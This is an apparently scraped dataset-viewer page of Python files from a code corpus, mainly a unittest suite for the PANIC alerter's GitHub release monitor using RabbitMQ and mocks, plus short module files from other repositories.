xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

22bd82bdc6c6288bb884ba618b9541d654cbcf79

399

py

Python

src/models/lsun_bedroom_64_haar/__init__.py

YorkUCVIL/Wavelet-Flow

8d6d63fa116ec44299c32f37e66817594510f644

[ "MIT" ]

59

2020-10-28T03:09:05.000Z

2022-01-29T22:10:04.000Z

src/models/lsun_bedroom_64_haar/__init__.py

YorkUCVIL/Wavelet-Flow

8d6d63fa116ec44299c32f37e66817594510f644

[ "MIT" ]

4

2020-12-24T11:00:40.000Z

2021-05-22T06:14:27.000Z

src/models/lsun_bedroom_64_haar/__init__.py

YorkUCVIL/Wavelet-Flow

8d6d63fa116ec44299c32f37e66817594510f644

[ "MIT" ]

2

2020-10-29T01:15:03.000Z

2021-04-20T11:55:51.000Z

from models.lsun_bedroom_64_haar.Training_data import * from models.lsun_bedroom_64_haar.Validation_data import * from models.lsun_bedroom_64_haar.Network_body import * from models.lsun_bedroom_64_haar.Conditioning_network import * import models.shared.routines as routines from models.lsun_bedroom_64_haar.build_training_graph import * model_config_path = 'data/lsun_bedroom_64_haar/config.hjson'

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0.070175

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1

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6

22d8ca843d314d7e9bf1c2e2edaaf7d9640ded3f

308

py

Python

src/backend/aspen/main.py

chanzuckerberg/czgenepi

87bd2b1739acdfe2c7c25663fafb01dc24c5e2fd

[ "MIT" ]

null

src/backend/aspen/main.py

chanzuckerberg/czgenepi

87bd2b1739acdfe2c7c25663fafb01dc24c5e2fd

[ "MIT" ]

30

2022-02-01T23:19:14.000Z

2022-03-29T19:34:20.000Z

src/backend/aspen/main.py

chanzuckerberg/czgenepi

87bd2b1739acdfe2c7c25663fafb01dc24c5e2fd

[ "MIT" ]

null

# this is where flask finds the entry point for the application. from aspen.app.app import application # noqa: F401 from aspen.app.views.auth import callback_handling, login, logout # noqa: F401 from aspen.app.views.health import health # noqa: F401 from aspen.app.views.index import serve # noqa: F401

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fe162383c173d4c3968dd1d1f10e7f17994e8f8d

39,500

py

Python

alerter/test/monitors/test_github.py

SimplyVC/panic

2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d

[ "Apache-2.0" ]

41

2019-08-23T12:40:42.000Z

2022-03-28T11:06:02.000Z

alerter/test/monitors/test_github.py

SimplyVC/panic

2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d

[ "Apache-2.0" ]

147

2019-08-30T22:09:48.000Z

2022-03-30T08:46:26.000Z

alerter/test/monitors/test_github.py

SimplyVC/panic

2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d

[ "Apache-2.0" ]

3

2019-09-03T21:12:28.000Z

2021-08-18T14:27:56.000Z

import json import logging import unittest from datetime import datetime from datetime import timedelta from http.client import IncompleteRead from unittest import mock import pika import pika.exceptions from freezegun import freeze_time from requests.exceptions import (ConnectionError as ReqConnectionError, ReadTimeout, ChunkedEncodingError) from urllib3.exceptions import ProtocolError from src.configs.repo import RepoConfig from src.message_broker.rabbitmq import RabbitMQApi from src.monitors.github import GitHubMonitor from src.utils import env from src.utils.constants.rabbitmq import (RAW_DATA_EXCHANGE, HEALTH_CHECK_EXCHANGE, GITHUB_RAW_DATA_ROUTING_KEY, HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY, TOPIC) from src.utils.exceptions import (PANICException, GitHubAPICallException, CannotAccessGitHubPageException, DataReadingException, JSONDecodeException, MessageWasNotDeliveredException) class TestGitHubMonitor(unittest.TestCase): def setUp(self) -> None: self.dummy_logger = logging.getLogger('Dummy') self.dummy_logger.disabled = True self.connection_check_time_interval = timedelta(seconds=0) self.rabbit_ip = env.RABBIT_IP self.rabbitmq = RabbitMQApi( self.dummy_logger, self.rabbit_ip, connection_check_time_interval=self.connection_check_time_interval) self.monitor_name = 'test_monitor' self.monitoring_period = 10 self.repo_id = 'test_repo_id' self.parent_id = 'test_parent_id' self.repo_name = 'test_repo' self.monitor_repo = True self.releases_page = 'test_url' self.routing_key = 'test_routing_key' self.test_data_str = 'test data' self.test_data_dict = { 'test_key_1': 'test_val_1', 'test_key_2': 'test_val_2', } self.test_heartbeat = { 'component_name': 'Test Component', 'is_alive': True, 'timestamp': datetime(2012, 1, 1).timestamp(), } self.test_queue_name = 'Test Queue' # In the real retrieved data there are more fields, but these are the # only ones that interest us so far. self.retrieved_metrics_example = [ {'name': 'First Release 😮', 'tag_name': 'v1.0.0'}, {'name': 'Release Candidate 1', 'tag_name': 'v0.1.0'}, ] self.processed_data_example = { '0': {'release_name': 'First Release 😮', 'tag_name': 'v1.0.0'}, '1': {'release_name': 'Release Candidate 1', 'tag_name': 'v0.1.0'}, } self.test_exception = PANICException('test_exception', 1) self.repo_config = RepoConfig(self.repo_id, self.parent_id, self.repo_name, self.monitor_repo, self.releases_page) self.test_monitor = GitHubMonitor(self.monitor_name, self.repo_config, self.dummy_logger, self.monitoring_period, self.rabbitmq) def tearDown(self) -> None: # Delete any queues and exchanges which are common across many tests try: self.test_monitor.rabbitmq.connect() # Declare them before just in case there are tests which do not # use these queues and exchanges self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.test_monitor.rabbitmq.exchange_declare( HEALTH_CHECK_EXCHANGE, TOPIC, False, True, False, False) self.test_monitor.rabbitmq.exchange_declare( RAW_DATA_EXCHANGE, TOPIC, False, True, False, False) self.test_monitor.rabbitmq.queue_purge(self.test_queue_name) self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) self.test_monitor.rabbitmq.exchange_delete(RAW_DATA_EXCHANGE) self.test_monitor.rabbitmq.exchange_delete(HEALTH_CHECK_EXCHANGE) self.test_monitor.rabbitmq.disconnect() except Exception as e: print("Deletion of queues and exchanges failed: {}".format(e)) self.dummy_logger = None self.rabbitmq = None self.test_exception = None self.repo_config = None self.test_monitor = None def test_str_returns_monitor_name(self) -> None: self.assertEqual(self.monitor_name, str(self.test_monitor)) def test_get_monitor_period_returns_monitor_period(self) -> None: self.assertEqual(self.monitoring_period, self.test_monitor.monitor_period) def test_get_monitor_name_returns_monitor_name(self) -> None: self.assertEqual(self.monitor_name, self.test_monitor.monitor_name) def test_repo_config_returns_repo_config(self) -> None: self.assertEqual(self.repo_config, self.test_monitor.repo_config) def test_initialise_rabbitmq_initialises_everything_as_expected( self) -> None: try: # To make sure that there is no connection/channel already # established self.assertIsNone(self.rabbitmq.connection) self.assertIsNone(self.rabbitmq.channel) # To make sure that the exchanges have not already been declared self.rabbitmq.connect() self.rabbitmq.exchange_delete(RAW_DATA_EXCHANGE) self.rabbitmq.exchange_delete(HEALTH_CHECK_EXCHANGE) self.rabbitmq.disconnect() self.test_monitor._initialise_rabbitmq() # Perform checks that the connection has been opened, marked as open # and that the delivery confirmation variable is set. self.assertTrue(self.test_monitor.rabbitmq.is_connected) self.assertTrue(self.test_monitor.rabbitmq.connection.is_open) self.assertTrue( self.test_monitor.rabbitmq.channel._delivery_confirmation) # Check whether the exchange has been creating by sending messages # to it. If this fails an exception is raised, hence the test fails. self.test_monitor.rabbitmq.basic_publish_confirm( exchange=RAW_DATA_EXCHANGE, routing_key=self.routing_key, body=self.test_data_str, is_body_dict=False, properties=pika.BasicProperties(delivery_mode=2), mandatory=False) self.test_monitor.rabbitmq.basic_publish_confirm( exchange=HEALTH_CHECK_EXCHANGE, routing_key=self.routing_key, body=self.test_data_str, is_body_dict=False, properties=pika.BasicProperties(delivery_mode=2), mandatory=False) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_process_retrieved_data") @mock.patch.object(GitHubMonitor, "_process_error") def test_process_data_calls_process_error_on_retrieval_error( self, mock_process_error, mock_process_retrieved_data) -> None: # Do not test the processing of data for now mock_process_error.return_value = self.test_data_dict self.test_monitor._process_data(True, [self.test_exception], [self.test_data_dict]) # Test passes if _process_error is called once and # process_retrieved_data is not called self.assertEqual(1, mock_process_error.call_count) self.assertEqual(0, mock_process_retrieved_data.call_count) @mock.patch.object(GitHubMonitor, "_process_retrieved_data") @mock.patch.object(GitHubMonitor, "_process_error") def test_process_data_calls_process_retrieved_data_on_retrieval_success( self, mock_process_error, mock_process_retrieved_data) -> None: # Do not test the processing of data for now mock_process_retrieved_data.return_value = self.test_data_dict self.test_monitor._process_data(False, [], [self.test_data_dict]) # Test passes if _process_error is called once and # process_retrieved_data is not called self.assertEqual(0, mock_process_error.call_count) self.assertEqual(1, mock_process_retrieved_data.call_count) def test_send_heartbeat_sends_a_heartbeat_correctly(self) -> None: # This test creates a queue which receives messages with the same # routing key as the ones sent by send_heartbeat, and checks that the # heartbeat is received try: self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor._send_heartbeat(self.test_heartbeat) # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) self.assertEqual(1, res.method.message_count) # Check that the message received is actually the HB _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(self.test_heartbeat, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) def test_display_data_returns_the_correct_string(self) -> None: expected_output = json.dumps(self.processed_data_example, ensure_ascii=False).encode('utf8').decode() actual_output = self.test_monitor._display_data( self.processed_data_example) self.assertEqual(expected_output, actual_output) @freeze_time("2012-01-01") def test_process_error_returns_expected_data(self) -> None: expected_output = { 'error': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'message': self.test_exception.message, 'code': self.test_exception.code, } } actual_output = self.test_monitor._process_error(self.test_exception) self.assertEqual(actual_output, expected_output) @freeze_time("2012-01-01") def test_process_retrieved_data_returns_expected_data(self) -> None: expected_output = { 'result': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'data': self.processed_data_example, } } actual_output = self.test_monitor._process_retrieved_data( self.retrieved_metrics_example) self.assertEqual(expected_output, actual_output) def test_send_data_sends_data_correctly(self) -> None: # This test creates a queue which receives messages with the same # routing key as the ones sent by send_data, and checks that the # data is received try: self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor._send_data(self.processed_data_example) # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) self.assertEqual(1, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(self.processed_data_example, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_sends_data_and_hb_if_data_retrieve_and_processing_success( self, mock_get_data) -> None: expected_output_data = { 'result': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'data': self.processed_data_example, } } expected_output_hb = { 'component_name': self.test_monitor.monitor_name, 'is_alive': True, 'timestamp': datetime(2012, 1, 1).timestamp() } try: mock_get_data.return_value = self.retrieved_metrics_example self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor._monitor() # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 2 messages in the queue, the heartbeat and the # processed data self.assertEqual(2, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) # Check that the message received is actually the HB _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_hb, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_process_data") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_sends_no_data_and_hb_if_data_ret_success_and_proc_fails( self, mock_get_data, mock_process_data) -> None: mock_process_data.side_effect = self.test_exception mock_get_data.return_value = self.retrieved_metrics_example try: self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor._monitor() # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 0 messages in the queue. self.assertEqual(0, res.method.message_count) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_sends_no_data_and_no_hb_on_get_data_unexpected_exception( self, mock_get_data) -> None: mock_get_data.side_effect = self.test_exception try: self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.assertRaises(PANICException, self.test_monitor._monitor) # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 0 messages in the queue. self.assertEqual(0, res.method.message_count) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_sends_gh_api_call_exception_data_and_hb_on_api_call_err( self, mock_get_data) -> None: api_call_err_return = { "message": "Not Found", "documentation_url": "https://docs.github.com/rest/reference/repos#list-releases" } mock_get_data.return_value = api_call_err_return data_ret_exception = GitHubAPICallException( api_call_err_return['message']) expected_output_data = { 'error': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'message': data_ret_exception.message, 'code': data_ret_exception.code, } } expected_output_hb = { 'component_name': self.test_monitor.monitor_name, 'is_alive': True, 'timestamp': datetime(2012, 1, 1).timestamp() } try: self.test_monitor._initialise_rabbitmq() # Delete the queue before to avoid messages in the queue on error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor._monitor() # By re-declaring the queue again we can get the number of messages # in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 2 messages in the queue, the heartbeat and the # exception details. self.assertEqual(2, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) # Check that the message received is actually the HB _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_hb, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_sends_exception_data_and_hb_on_expected_exceptions( self, mock_get_data) -> None: json_decode_error = json.JSONDecodeError(msg='test error', doc='test', pos=2) errors_exceptions_dict = { ReqConnectionError('test'): CannotAccessGitHubPageException( self.repo_config.releases_page), ReadTimeout('test'): CannotAccessGitHubPageException( self.repo_config.releases_page), IncompleteRead('test'): DataReadingException( self.monitor_name, self.repo_config.releases_page), ChunkedEncodingError('test'): DataReadingException( self.monitor_name, self.repo_config.releases_page), ProtocolError('test'): DataReadingException( self.monitor_name, self.repo_config.releases_page), json_decode_error: JSONDecodeException(json_decode_error) } try: self.test_monitor._initialise_rabbitmq() for error, data_ret_exception in errors_exceptions_dict.items(): mock_get_data.side_effect = error expected_output_data = { 'error': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'message': data_ret_exception.message, 'code': data_ret_exception.code, } } expected_output_hb = { 'component_name': self.test_monitor.monitor_name, 'is_alive': True, 'timestamp': datetime(2012, 1, 1).timestamp() } # Delete the queue before to avoid messages in the queue on # error. self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor._monitor() # By re-declaring the queue again we can get the number of # messages in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 2 messages in the queue, the heartbeat and the # processed data self.assertEqual(2, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) # Check that the message received is actually the HB _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_hb, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_raises_msg_not_delivered_exception_if_data_not_routed( self, mock_get_data) -> None: mock_get_data.return_value = self.retrieved_metrics_example try: self.test_monitor._initialise_rabbitmq() self.assertRaises(MessageWasNotDeliveredException, self.test_monitor._monitor) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_raises_msg_not_del_except_if_hb_not_routed_and_sends_data( self, mock_get_data) -> None: mock_get_data.return_value = self.retrieved_metrics_example expected_output_data = { 'result': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'data': self.processed_data_example, } } try: self.test_monitor._initialise_rabbitmq() self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.assertRaises(MessageWasNotDeliveredException, self.test_monitor._monitor) # By re-declaring the queue again we can get the number of # messages in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 1 message in the queue, the processed data self.assertEqual(1, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_send_data") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_send_data_raises_amqp_channel_error_on_channel_error( self, mock_get_data, mock_send_data) -> None: mock_get_data.return_value = self.retrieved_metrics_example mock_send_data.side_effect = pika.exceptions.AMQPChannelError('test') try: self.test_monitor._initialise_rabbitmq() self.assertRaises(pika.exceptions.AMQPChannelError, self.test_monitor._monitor) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_send_heartbeat") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_send_hb_raises_amqp_chan_err_on_chan_err_and_sends_data( self, mock_get_data, mock_send_heartbeat) -> None: mock_get_data.return_value = self.retrieved_metrics_example mock_send_heartbeat.side_effect = \ pika.exceptions.AMQPChannelError('test') expected_output_data = { 'result': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'data': self.processed_data_example, } } try: self.test_monitor._initialise_rabbitmq() self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.assertRaises(pika.exceptions.AMQPChannelError, self.test_monitor._monitor) # By re-declaring the queue again we can get the number of # messages in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 1 message in the queue, the processed data self.assertEqual(1, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_send_data") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_send_data_raises_amqp_conn_error_on_conn_error( self, mock_get_data, mock_send_data) -> None: mock_get_data.return_value = self.retrieved_metrics_example mock_send_data.side_effect = pika.exceptions.AMQPConnectionError('test') try: self.test_monitor._initialise_rabbitmq() self.assertRaises(pika.exceptions.AMQPConnectionError, self.test_monitor._monitor) except Exception as e: self.fail("Test failed: {}".format(e)) @freeze_time("2012-01-01") @mock.patch.object(GitHubMonitor, "_send_heartbeat") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_send_hb_raises_amqp_conn_err_on_conn_err_and_sends_data( self, mock_get_data, mock_send_heartbeat) -> None: mock_get_data.return_value = self.retrieved_metrics_example mock_send_heartbeat.side_effect = \ pika.exceptions.AMQPConnectionError('test') expected_output_data = { 'result': { 'meta_data': { 'monitor_name': self.test_monitor.monitor_name, 'repo_name': self.test_monitor.repo_config.repo_name, 'repo_id': self.test_monitor.repo_config.repo_id, 'repo_parent_id': self.test_monitor.repo_config.parent_id, 'time': datetime(2012, 1, 1).timestamp() }, 'data': self.processed_data_example, } } try: self.test_monitor._initialise_rabbitmq() self.test_monitor.rabbitmq.queue_delete(self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.assertRaises(pika.exceptions.AMQPConnectionError, self.test_monitor._monitor) # By re-declaring the queue again we can get the number of # messages in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be 1 message in the queue, the processed data self.assertEqual(1, res.method.message_count) # Check that the message received is actually the processed data _, _, body = self.test_monitor.rabbitmq.basic_get( self.test_queue_name) self.assertEqual(expected_output_data, json.loads(body)) except Exception as e: self.fail("Test failed: {}".format(e)) @mock.patch.object(GitHubMonitor, "_send_data") @mock.patch.object(GitHubMonitor, "_get_data") def test_monitor_does_not_send_hb_and_data_if_send_data_fails( self, mock_get_data, mock_send_data) -> None: mock_get_data.return_value = self.retrieved_metrics_example exception_types_dict = \ { Exception('test'): Exception, pika.exceptions.AMQPConnectionError('test'): pika.exceptions.AMQPConnectionError, pika.exceptions.AMQPChannelError('test'): pika.exceptions.AMQPChannelError, MessageWasNotDeliveredException('test'): MessageWasNotDeliveredException } try: self.test_monitor._initialise_rabbitmq() for exception, exception_type in exception_types_dict.items(): mock_send_data.side_effect = exception self.test_monitor.rabbitmq.queue_delete( self.test_queue_name) res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=False ) self.assertEqual(0, res.method.message_count) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE, routing_key=HEARTBEAT_OUTPUT_WORKER_ROUTING_KEY) self.test_monitor.rabbitmq.queue_bind( queue=self.test_queue_name, exchange=RAW_DATA_EXCHANGE, routing_key=GITHUB_RAW_DATA_ROUTING_KEY) self.assertRaises(exception_type, self.test_monitor._monitor) # By re-declaring the queue again we can get the number of # messages in the queue. res = self.test_monitor.rabbitmq.queue_declare( queue=self.test_queue_name, durable=True, exclusive=False, auto_delete=False, passive=True ) # There must be no messages in the queue. self.assertEqual(0, res.method.message_count) except Exception as e: self.fail("Test failed: {}".format(e))

46.912114

80

0.62157

4,467

39,500

5.181554

0.068278

0.08226

0.098505

0.076514

0.820271

0.791713

0.771494

0.736672

0.728636

0.715934

0

0.007197

0.299975

39,500

841

81

46.967895

0.829807

0.093722

0

0.627246

0

0.049104

0.001288

0

0.085329

1

0.038922

false

0.034431

0.026946

0

0.067365

0.001497

0

null

0

1

0

null

0

6

a3c37298c5c61b9a81ea83aa65f232528536f622

10,790

py

Python

tests/subaligner/test_media_helper.py

JohnVillalovos/subaligner

41bd00b4661b4ba35bdd2915e89fc368dcc7663a

[ "MIT" ]

null

tests/subaligner/test_media_helper.py

JohnVillalovos/subaligner

41bd00b4661b4ba35bdd2915e89fc368dcc7663a

[ "MIT" ]

null

tests/subaligner/test_media_helper.py

JohnVillalovos/subaligner

41bd00b4661b4ba35bdd2915e89fc368dcc7663a

[ "MIT" ]

null

